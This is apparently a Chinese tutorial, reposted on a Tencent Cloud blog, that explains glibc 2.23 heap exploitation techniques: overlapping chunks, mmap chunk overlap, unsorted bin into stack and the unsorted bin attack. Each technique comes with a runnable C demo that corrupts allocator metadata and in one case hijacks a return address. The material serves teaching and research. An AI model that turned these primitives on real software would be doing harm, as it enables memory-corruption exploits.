    fprintf(stderr, "为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块\n");

    int evil_chunk_size = 0x181;
    int evil_region_size = 0x180 - 8;
    fprintf(stderr, "我们将 p2 的大小设置为 %d, 这样的话我们就能用 %d 大小的空间\n",evil_chunk_size, evil_region_size);

    *(p2-1) = evil_chunk_size; // 覆盖 p2 的 size

    fprintf(stderr, "\n现在让我们分配另一个块,其大小等于块p2注入大小的数据大小\n");
    fprintf(stderr, "malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)\n");
    p4 = malloc(evil_region_size);

    fprintf(stderr, "\np4 分配在 %p 到 %p 这一区域\n", (char *)p4, (char *)p4+evil_region_size);
    fprintf(stderr, "p3 从 %p 到 %p\n", (char *)p3, (char *)p3+0x80-8);
    fprintf(stderr, "p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3\n");

    fprintf(stderr, "这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容\n\n");

    fprintf(stderr, "接下来验证一下,现在 p3 与 p4:\n");
    fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
    fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);

    fprintf(stderr, "\n如果我们使用 memset(p4, '4', %d), 将会:\n", evil_region_size);
    memset(p4, '4', evil_region_size);
    fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
    fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);

    fprintf(stderr, "\n那么之后再 memset(p3, '3', 80), 将会:\n");
    memset(p3, '3', 80);
    fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
    fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);
}

一开始申请 3 个 chunk

free 掉 p2,这时候 p2 被放到了 unsorted bin 中

然后把 p2 的 size 改成 0x180,这时候就把 p3 给包含进去了

然后再去申请一块 0x180 大小的 p4,就能够编辑 p4 就可以修改 p3 的内容,编辑 p3 也可以修改 p4 的内容

overlapping_chunks_2

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){
  
  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
  int prev_in_use = 0x1;

  fprintf(stderr, "\n一开始分配 5 个 chunk");
  p1 = malloc(1000);
  p2 = malloc(1000);
  p3 = malloc(1000);
  p4 = malloc(1000);
  p5 = malloc(1000);

  real_size_p1 = malloc_usable_size(p1);
  real_size_p2 = malloc_usable_size(p2);
  real_size_p3 = malloc_usable_size(p3);
  real_size_p4 = malloc_usable_size(p4);
  real_size_p5 = malloc_usable_size(p5);

  fprintf(stderr, "\nchunk p1 从 %p 到 %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
  fprintf(stderr, "\nchunk p2 从 %p 到 %p", p2,  (unsigned char *)p2+malloc_usable_size(p2));
  fprintf(stderr, "\nchunk p3 从 %p 到 %p", p3,  (unsigned char *)p3+malloc_usable_size(p3));
  fprintf(stderr, "\nchunk p4 从 %p 到 %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
  fprintf(stderr, "\nchunk p5 从 %p 到 %p\n", p5,  (unsigned char *)p5+malloc_usable_size(p5));

  memset(p1,'A',real_size_p1);
  memset(p2,'B',real_size_p2);
  memset(p3,'C',real_size_p3);
  memset(p4,'D',real_size_p4);
  memset(p5,'E',real_size_p5);
  
  fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
  free(p4);

  fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
  fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
  fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
  free(p2);
  
  fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
  p6 = malloc(2000);
  real_size_p6 = malloc_usable_size(p6);

  fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6,  (unsigned char *)p6+real_size_p6);
  fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);

  fprintf(stderr, "\np3 中的内容: \n\n");
  fprintf(stderr, "%s\n",(char *)p3);

  fprintf(stderr, "\n往 p6 中写入\"F\"\n");
  memset(p6,'F',1500);

  fprintf(stderr, "\np3 中的内容: \n\n");
  fprintf(stderr, "%s\n",(char *)p3);
}

首先申请 5 个 chunk,分别是 p1,p2,p3,p4,p5

然后 free 掉 p4,此时 p2 的 size 是 0x3f0

更改掉 p2 的 size 为 0x7e0,直接把 p3 给包含进去

再次去 malloc 0x7e0 大小的 chunk p6 会把包含 p3 的 p2 给申请到,这样再去编辑 p6 的时候也可以编辑到 p3

mmap_overlapping_chunks

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdlib.h>
#include <stdio.h>

int main(){

    int* ptr1 = malloc(0x10); 

    printf("这种技术依然是 overlapping 但是针对的是比较大的 (通过 mmap 申请的)\n");
    printf("分配大的 chunk 是比较特殊的,因为他们分配在单独的内存中,而不是普通的堆中\n");
    printf("分配三个大小为 0x100000 的 chunk \n\n");

    long long* top_ptr = malloc(0x100000);
    printf("第一个 mmap 块位于 Libc 上方:%p\n",top_ptr);
    long long* mmap_chunk_2 = malloc(0x100000);
    printf("第二个 mmap 块位于 Libc 下方:%p\n", mmap_chunk_2);
    long long* mmap_chunk_3 = malloc(0x100000);
    printf("第三个 mmap 块低于第二个 mmap 块: %p\n", mmap_chunk_3);

    printf("\n当前系统内存布局\n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
    
    printf("第一个 mmap 的 prev_size: 0x%llx\n", mmap_chunk_3[-2]);
    printf("第三个 mmap 的 size: 0x%llx\n\n", mmap_chunk_3[-1]);

    printf("假设有一个漏洞可以更改第三个 mmap 的大小,让他与第二个 mmap 块重叠\n");  
    mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    printf("现在改掉的第三个 mmap 块的大小是: 0x%llx\n", mmap_chunk_3[-1]);
    printf("free 掉第三个 mmap 块,\n\n");

    free(mmap_chunk_3); 

    printf("再分配一个很大的 mmap chunk\n");
    long long* overlapping_chunk = malloc(0x300000);
    printf("新申请的 Overlapped chunk 在: %p\n", overlapping_chunk);
    printf("Overlapped chunk 的大小是: 0x%llx\n", overlapping_chunk[-1]);

    int distance = mmap_chunk_2 - overlapping_chunk;
    printf("新的堆块与第二个 mmap 块之间的距离: 0x%x\n", distance);
    printf("写入之前 mmap chunk2 的 index0 写的是: %llx\n", mmap_chunk_2[0]);
    
    printf("编辑 overlapping chunk 的值\n");
    overlapping_chunk[distance] = 0x1122334455667788;

    printf("写之后第二个 chunk 的值: 0x%llx\n", mmap_chunk_2[0]);
    printf("Overlapped chunk 的值: 0x%llx\n\n", overlapping_chunk[distance]);
    printf("新块已与先前的块重叠\n");
}

当我们调用一个相当大的块的时候会用 mmap 来代替 malloc 获取一块单独的内存来替代普通的堆,释放的时候会用 munmap

一开始申请了 3 个 0x100000 大小的

此时的布局大概是这样的

代码语言:javascript
复制
running program
heap
....
third mmap chunk 0x7ffff780b010
second mmap chunk 0x7ffff790c010
LibC
....
ld
first mmap chunk 0x7ffff7ed7010

然后把第三个的 size 改成 0x202002,free 掉第三个,然后再去 malloc(0x300000)

新的在 0x7ffff770c010

第三个 0x7ffff780b010 大小 0x202002

第二个 0x7ffff790c010

现在在第三个上是 0x202000 大小的,接下来去申请 0x300000 大小的,因为前面已经有了 0x201000,所以多申请0xFF000 就够了 (0x7ffff780b010-0x7ffff770c010)

这样通过对新创建的堆块进行写操作就可以覆盖掉原本第二个那里

unsorted_bin_into_stack

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main() {
  intptr_t stack_buffer[4] = {0};

  fprintf(stderr, "先申请 victim chunk\n");
  intptr_t* victim = malloc(0x100);
  fprintf(stderr, "再申请一块防止与 top chunk 合并\n");
  intptr_t* p1 = malloc(0x100);

  fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);
  free(victim);

  fprintf(stderr, "在栈上伪造一个 chunk");
  fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");
  stack_buffer[1] = 0x100 + 0x10;
  stack_buffer[3] = (intptr_t)stack_buffer;

  fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");
  fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");
  victim[-1] = 32;
  victim[1] = (intptr_t)stack_buffer;

  fprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);
  char *p2 = malloc(0x100);
  fprintf(stderr, "malloc(0x100): %p\n", p2);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p2+40), &sc, 8);
}

一开始申请了两个 chunk

free 掉第一个 chunk

然后修改掉它的 bk 指针指向在栈上伪造的 fake chunk,同时把这个的 size 给改掉,防止他 malloc 的时候申请到了这个而不是 fake chunk

接下来再去 malloc 的时候就可以申请到在栈上伪造的那个 chunk 了

unsorted_bin_attack

ubuntu16.04 glibc 2.23

unsorted bin attack 是控制 unsorted bin 的 bk 指针,达到任意地址改为一个较大的数的目的

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>

int main(){

    fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
    fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(0x410);
    fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
    fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
    fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

    malloc(0x410);
    fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

gcc -g unsorted_bin_attack.c

分别在 10、13、16、19 下断点

然后运行,一开始先申请两个 chunk,第二个是为了防止与 top chunk 合并

当 free之后,这个 chunk 的 fd、bk 都指向了 unsorted bin 的位置,因为 unsorted bin 是双向链表嘛

继续,通过 p[1] = (unsigned long)(&stack_var - 2); 把 bk 指针给改掉了 unsigned long 是 8 字节大小的,所以减去 2 之后正好是在 address 这个地方

然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

代码语言:javascript
复制
/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

把 unsorted bin 的 bk 改为 chunk 的 bk,然后将 chunk 的 bk 所指向的 fd 改为 unsorted bin 的地址

同时因为对于一个 chunk 来说 chunk 头是占据 0x10 大小的(也就是图中 address),所以 fd 正好是我们想要改的那个地址

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • first_fit
  • fastbin_dup
  • fastbin_dup_into_stack
  • fastbin_dup_consolidate
  • unsafe_unlink
  • house_of_spirit
  • poison_null_byte
  • house_of_lore
  • overlapping_chunks
  • overlapping_chunks_2
  • mmap_overlapping_chunks
  • unsorted_bin_into_stack
  • unsorted_bin_attack
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档